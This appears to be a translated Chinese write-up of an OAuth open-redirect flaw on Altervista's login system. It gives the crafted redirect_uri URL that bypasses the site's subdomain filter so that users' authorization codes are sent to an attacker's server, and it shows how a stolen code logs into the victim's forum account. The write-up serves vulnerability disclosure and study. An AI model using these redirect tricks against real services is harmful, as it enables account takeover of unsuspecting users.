漏洞:访问重定向窃取token
难度:中
登陆系统的工作原理
在Altervista网站上瞎逛一圈之后,我注意到如果您已经登陆到您网站的管理面板,接着要登陆论坛的时候,只需要点击 “登录” 按钮即可,而不需要再次输入登录凭证,所以我开始研究该按钮的工作原理
这只是一个简单的链接
1
| https://aa.altervista.org/?client_id=altervista&response_type=code&redirect_uri=http://forum.it.altervista.org/
|
参数”authorization_code” 包含之前生成的”authorization_code”。如果你尚未通过身份认证,它会首先询问你用户名、密码,然后以相同的方式将您重定向
How I came to discover the vulnerability
这里存在的漏洞是如果我们能够修改”redirect_uri”参数的值,那么我们就能创建一个特殊的链接,一旦有用户点击就会将他们重定向到我们的服务器上而不是altervista的服务器,这允许我们盗取用户添加在url末尾的authorization_code(于是我们就能登录到他们的账号)
不幸的是网站似乎对URL提交的参数进行了过滤,它只接受 it.altervista.org.的子域。关于如何绕过,可以参考下面的视频:
视屏中指出程序员在解析网址时经常会犯错,特别是当输入不符合规范时。
于是我开始Fuzzing,最后我终于找到绕过过滤器的方法:
1
| https://aa.altervista.org/?client_id=altervista&response_type=code&redirect_uri=http://google.it/http://it.altervista.org/
|
因此如果我们将我们的服务器地址放到这里而不是google.it,我们就可以窃取访问token了
拿到token就能直接登录了
1
| http://forum.it.altervista.org/login.php?do=login-aHR0cDovL2ZvcnVtLml0LmFsdGVydmlzdGEub3JnL2ZvcnVtLnBocA%3D%3D&authorization_code=XXXXXXXXXXXXXXXXXXX
|